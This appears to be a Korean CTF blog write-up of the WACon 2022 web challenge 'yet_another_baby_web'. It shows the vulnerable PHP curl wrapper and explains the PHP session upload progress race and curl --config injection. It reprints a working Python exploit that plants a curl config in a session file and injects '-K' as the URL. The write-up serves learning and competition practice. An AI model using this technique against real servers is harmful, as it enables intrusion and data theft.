[WACon 2022] yet_another_baby_web
🚪 Intro
웹 2번째 문제 입니다. 이 문제 역시 poc 코드와 힌트를 보고 정보를 찾은 뒤 풀게 되었는데요.
이 문제를 풀기 위해서는 `session upload progress` 에 대해 알고 있어야 합니다.
💡 Analysis - 코드 분석
POST 방식으로 url 데이터를 넘기면 curl 명령어를 실행합니다. 이때 url 값은 여러번의 필터링을 거치게 되죠.
curl 실행 후 출력 값에는 본인의 UUID 값이 포함되어 있어야 출력 값을 볼 수 있습니다.
<?php
session_start();
if (!isset($_POST["url"])) {
highlight_file(__FILE__);
}
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr($chars, 0, 8) . '-'
. substr($chars, 8, 4) . '-'
. substr($chars, 12, 4) . '-'
. substr($chars, 16, 4) . '-'
. substr($chars, 20, 12);
return $uuid;
}
function Check($url)
{
$blacklist = "/\}|\{|\[|\]|\:|f|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";
if (is_string($url)
&& strlen($url) < 4096
&& !preg_match($blacklist, $url)) {
return true;
}
return false;
}
if (!isset($_SESSION["uuid"])) {
$_SESSION["uuid"] = uuid();
}
echo $_SESSION["uuid"]."</br>";
if (Check($_POST["url"])) {
$url = escapeshellarg($_POST["url"]);
$cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
echo "your command: " . $cmd . "</br>";
$res = shell_exec($cmd);
} else {
die("error~");
}
if (strpos($res, $_SESSION["uuid"]) !== false) {
echo $res;
} else {
echo "you cannot get the result~";
} 4a31bba3-28c1-9e16-b9da-8c1f258df555
error~
💡 Analysis - Session Upload Progress
Session Upload Progress 기능을 이용하여 공격자가 원하는 세션 파일 이름을 생성할 수 있고, 세션 파일에 php 코드를 넣을 수 있습니다. 이에 대한 자세한 설명은 추후에 정리해서 블로그에 포스팅할 계획입니다.
결론만 알려드리자면, 이 기능을 악용하여 공격자는 엄청 큰 파일을 업로드하는 동시에 Session 파일을 생성하고, 해당 파일 안에 php 코드를 넣어야 합니다. (이 문제에서는 php 코드를 넣지는 않습니다.)
이렇게 생성된 세션 파일은 잠깐 존재 했다가 사라집니다. 즉, 서버에서 해당 세션 파일이 사라지기 전에 써먹어야 하죠.
즉, Race condition 을 일으켜야 합니다.
💡 Analysis - cUrl config file
curl 에서 `--config` 라는 옵션이 있습니다. 이는 설정을 txt로 저장한 후, 해당 파일을 읽어 동작을 수행하는 옵션입니다.
예를 들어, 아래처럼 파일을 작성하면 curl은 url의 값으로 접속하고 그에 대한 결과는 output 옵션에 작성된 경로로 저장됩니다.
만약 여러개의 url 목록을 작성할 경우 아래처럼 {} 증괄호를 이용하여 site.one.com, stie.two.com 이런식으로 여러개의 url에 요청을 보내게 됩니다.
💡 Exploit
대회 종료 이후, 대회 운영자인 sqrtrev님께서 올려주신 poc 코드를 통해 설명 드리겠습니다. (sqrtrev님 감사합니다.)
우선 본인의 cookie와 uuid 값을 추출합니다.
11번째 줄에서, 생성할 세션 파일 이름을 지정해 줍니다.
13번째 줄에서, 생성된 세션 파일에 적을 내용을 작성해 줍니다. 이 내용은 curl --config 옵션에 사용될 내용입니다.
host가 flag로 되어 있는 이유는 docker 파일에 flag가 있는 컨테이너 이름이 flag 이기 때문입니다.
14번째 줄에서, 엄청 큰 데이터를 생성해 줍니다.
16번째 줄에서, session upload progress 기능을 사용하기 위해 세팅해 줍니다.
이후 Race Condition을 유발하기 위해 Thread를 통해 계속 데이터를 전송합니다.
최종적으로 Race Condition을 유발하기 위해 위에서 생성된 세션 파일을 curl 의 --config 옵션으로 넣어 줍니다.
다음은 최종 poc 코드 입니다.
import requests
import threading
HOST = 'http://110.10.147.146:8000/'
def init_session():
conn = requests.get(HOST)
cookie = conn.headers["Set-Cookie"]
uuid = conn.text
return uuid[uuid.index("</code>")+7:uuid.index("</br>")], cookie[:cookie.index(";")]
def exploit(uuid):
headers = {
'Cookie': 'PHPSESSID=sqrtrev'
}
pay = '\n\nurl="{flag:31337,%s}"\n\n'%uuid
dummy = "a" * (8000000-1)
data = {
'PHP_SESSION_UPLOAD_PROGRESS': pay
}
def run():
while True:
conn = requests.post(HOST, files={"f": dummy}, data=data, headers=headers)
r1 = conn.text
for i in range(10):
T = threading.Thread(target=run, args=())
T.start()
def getflag(cookie):
headers = {
'Cookie': cookie
}
data = {
'url': "-K/var/lib/php/sessions/sess_sqrtrev"
}
while True:
conn = requests.post(HOST, data=data, headers=headers)
output = conn.text
if 'WACon' in output:
break
return output[output.index("WACon"):output.index("}")+1]
if __name__ == "__main__":
uuid, cookie = init_session()
exploit(uuid)
print(getflag(cookie))
이 게시글에는 session upload progress에 대한 설명을 다루지 않다 보니, 롸업이 상당히 빈약합니다.
추후에 이 기능에 대해 공부해보고 포스팅할 계획입니다.
'🚩CTF' 카테고리의 다른 글
Dicectf 2023 writeup (0) | 2023.02.08 |
---|---|
DiceCTF 2022 writeup (0) | 2022.07.25 |
[WACon 2022] ppower write up (2) | 2022.06.28 |
[WACon 2022] Kuncɛlan write up (0) | 2022.06.27 |
zer0pts ctf 2022 GitFile Explorer write up (0) | 2022.03.27 |
댓글
이 글 공유하기
다른 글
-
Dicectf 2023 writeup
Dicectf 2023 writeup
2023.02.08 -
DiceCTF 2022 writeup
DiceCTF 2022 writeup
2022.07.25 -
[WACon 2022] ppower write up
[WACon 2022] ppower write up
2022.06.28 -
[WACon 2022] Kuncɛlan write up
[WACon 2022] Kuncɛlan write up
2022.06.27